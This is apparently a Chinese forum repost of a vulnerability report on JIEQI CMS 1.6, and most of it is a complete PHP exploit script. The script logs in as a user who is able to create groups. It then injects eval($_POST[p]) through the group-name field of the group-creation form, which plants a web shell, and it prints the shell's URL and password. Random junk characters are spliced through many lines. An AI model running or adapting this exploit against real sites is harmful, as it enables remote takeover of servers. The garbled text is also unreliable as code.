杰奇网站管理系统(简称 JIEQI CMS,中国国家版权局著作权登记号:2006SR03382)是一套模块化的网站架设系统,具备简单灵活、性能卓越、安全可靠等特性。我们为大家提供了目前最流行的杰奇小说连载系统、杰奇原创漫画系统及数字出版解决方案,并提供各类网站定制服务。7 Q$ d/ y, i0 x" `& B- o
7 Z, H* k- l4 f- v4 f) g
( I) n9 s2 p7 ]. O该系统存在多个远程安全漏洞,今天报告的这个是1.6版本的一个远程代码执行漏洞,应该有2年多历史了。" h$ S* R/ L* D: W* S" r
需要有一个能创建圈子的用户。: L7 @+ `+ m0 Z/ t* h$ J5 {
}# G" P5 D* O" R5 w
<?php" A' `5 l/ |. [
8 V- i3 [1 c# k
print_r('
; n. V* J5 U3 P7 B# o8 [. s+---------------------------------------------------------------------------+, p6 V ] Q( n4 o& g
Jieqi CMS V1.6 PHP Code Injection Exploit2 v4 Y5 U' b, w3 K" Q! |9 D
by flyh4t
# F& y! F7 a( P4 u) y3 Q- M1 imail: phpsec at hotmail dot com
2 Q, g8 Q! m6 B3 j: yteam: http://www.wolvez.org% _: K) O m- ` _' ~3 s( L
+---------------------------------------------------------------------------+
; S Z0 h) t2 J' ^5 C'); /*** Y* ]; e. O0 }4 \# a! h A
* works regardless of php.ini settings) S# J1 t8 I1 k; F3 p+ ?' x ^
*/ if ($argc < 5) { print_r('
0 p0 Z8 d& u; c+---------------------------------------------------------------------------+
8 ^4 i- W- ^% {1 J* u: r8 J/ mUsage: php '.$argv[0].' host path username0 Q' ~9 N- J. o! J2 D* {; ?
host: target server (ip/hostname)$ @( P/ P- W, O+ ?5 R$ |1 h% a" r
path: path to jieqicms 2 J( O4 F6 |+ t/ @! J$ T) w% ?
uasename: a username who can create group
( [" j# I) G$ ~1 ^% O/ Q4 iExample:- z. g" b4 l- F: ]; P- Y$ e9 I- B! ~
php '.$argv[0].' localhost /jieqicmsv1.6/ vipuser1 password( h$ G4 U& j$ K/ G: [% M
+---------------------------------------------------------------------------+. d* ^7 y0 ^2 _4 i _8 t" c; b' h
'); exit; } error_reporting(7); ini_set('max_execution_time', 0); $host = $argv[1]; $path = $argv[2]; $username = $argv[3]; $password = $argv[4]; /*get cookie*/ $cookie_jar_index = 'cookie.txt'; $url1 = "http://$host/$path/login.php"; $params = "password=$password&username=$username&usecookie=86400&submit=%26%23160%3B%B5%C7%26%23160%3B%26%23160%3B%C2%BC%26%23160%3B&action=login&jumpreferer=1"; $curl1 = curl_init(); curl_setopt($curl1, CURLOPT_URL, $url1); curl_setopt($curl1, CURLOPT_COOKIEJAR, $cookie_jar_index); curl_setopt($curl1, CURLOPT_POST, 1); curl_setopt($curl1, CURLOPT_POSTFIELDS, $params); ob_start(); $data1 = curl_exec($curl1); if ($data1 === FALSE) { echo "cURL Error: " . curl_error($ch); exit('exploit failed'); } curl_close($curl1); ob_clean(); /*get shell*/ $params ='-----------------------------232811682799619 D9 ^. v( K/ E1 W! F! j+ G
Content-Disposition: form-data; name="gname"3 ?- ]2 ]* V2 f8 Z0 [
) n8 @1 o5 c {: Y0 I7 N
'; $params .="';"; $params .='eval($_POST[p]);//flyh4t
* F+ I# y% S) L-----------------------------23281168279961
/ A" I4 w6 U& ~' J! K. Z% s" IContent-Disposition: form-data; name="gcatid"
3 n5 E+ e# z0 S/ E5 s3 A# V% p9 | 5 r g6 Q4 B/ @% C7 r+ r8 N
1
* \4 f7 I) j2 T0 s, j-----------------------------23281168279961
7 `, B9 S% e7 M( X7 o, r3 w6 u; WContent-Disposition: form-data; name="gaudit"
8 R1 ~: n3 @9 E 2 e3 E6 j4 W9 b% T% F
1
+ H% F& O3 ^1 `; | ~6 Y1 Q4 f$ }& d-----------------------------23281168279961
9 Z" u; I: H# ?# c! v" B" }Content-Disposition: form-data; name="gbrief"
K9 x R% D5 i / B3 E, B8 Q1 U2 N" ^
19 M* V/ T D; h( p( z$ C
-----------------------------23281168279961--
: l6 s* ?8 x0 z0 W5 { _3 @' a6 @# W'; $url2 = "http://$host/$path/modules/group/create.php"; $curl2 = curl_init(); $header =array( 'Content-Type: multipart/form-data; boundary=---------------------------23281168279961' ); curl_setopt($curl2, CURLOPT_URL, $url2); curl_setopt($curl2, CURLOPT_HTTPHEADER, $header); curl_setopt($curl2, CURLOPT_COOKIEFILE, $cookie_jar_index); curl_setopt($curl2, CURLOPT_POST, 1); curl_setopt($curl2, CURLOPT_POSTFIELDS, $params); ob_start(); curl_exec($curl2); curl_close($curl2); $resp = ob_get_contents(); //$rs就是返回的内容 ob_clean(); www.2cto.com( y1 x9 M& \* Y( z7 W" n
3 o' N7 c: c# w Q, Rpreg_match('/g=([0-9]{1,4})/', $resp, $shell); //print_r($shell); //print_r($resp); $url = "http://$host/$path/files/group/userdir/0/$shell[1]/info.php"; echo "view you shell here(password:p)\r\n" ; echo $url; |